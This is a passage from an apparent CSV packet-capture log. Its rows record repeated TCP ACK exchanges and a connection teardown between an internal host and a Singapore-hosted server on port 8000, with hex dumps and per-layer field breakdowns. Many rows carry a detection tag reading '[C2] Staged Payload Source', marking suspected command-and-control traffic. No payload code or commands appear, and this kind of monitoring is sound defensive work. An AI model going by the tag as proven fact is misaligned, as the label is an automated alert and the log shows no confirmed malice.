43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45583, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15855, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:31.032467,1269,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b046400040067fadc0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.F@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45126, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32685, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:32.048074,1270,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b210400080063dee0a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45584, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15854, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:32.048109,1271,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b047400040067facc0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.G@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45127, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32684, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:33.063827,1272,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b211400080063ded0a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45585, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15853, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:33.063864,1273,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b048400040067fabc0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.H@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45128, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32683, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:34.079467,1274,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b212400080063dec0a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45586, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15852, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:34.079503,1275,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b049400040067faac0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.I@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45129, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32682, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:35.095055,1276,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b213400080063deb0a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45587, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15851, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:35.095090,1277,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b04a400040067fa9c0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.J@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45130, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32681, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:36.095088,1278,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b214400080063dea0a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45588, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15850, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:36.095123,1279,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b04b400040067fa8c0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.K@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45131, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32680, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:37.110744,1280,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b215400080063de90a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45589, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15849, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:37.110776,1281,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b04c400040067fa7c0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.L@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45132, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32679, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:38.111026,1282,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548673 Ack=958171291,bc24112907bbbc2411360d0c080045000029b216400080063de80a98980bc0a3a789fa751f4007e68841391c889b50102014195a000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45590, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15848, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548673, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6490, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:38.111060,1283,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000034b04d400040067fa6c0a3a7890a98980b1f40fa75391c889b07e688428010003f0af700000101050a07e6884107e68842,\".$.6\n..$.)....E..4.M@.@.......\n....@.u9......B...?\n......\n...A...B\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45133, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32678, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548673, 132548674))]\"\"}}]\"\n2026-07-01 09:15:38.804122,1284,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=958171291 Ack=132548674,bc2411360d0cbc24112907bb080045000028b04e400040067fb1c0a3a7890a98980b1f40fa75391c889b07e688425011003f0aeb0000,\".$.6\n..$.)....E..(.N@.@.......\n....@.u9......BP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45134, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32689, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548674, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:15:38.804274,1285,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=132548674 Ack=958171292,bc24112907bbbc2411360d0c080045000028b217400080063de80a98980bc0a3a789fa751f4007e68842391c889c5010201419590000,\".$.)...$.6\n...E..(..@...=.\n........u.@...B9...P. ..Y..\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, 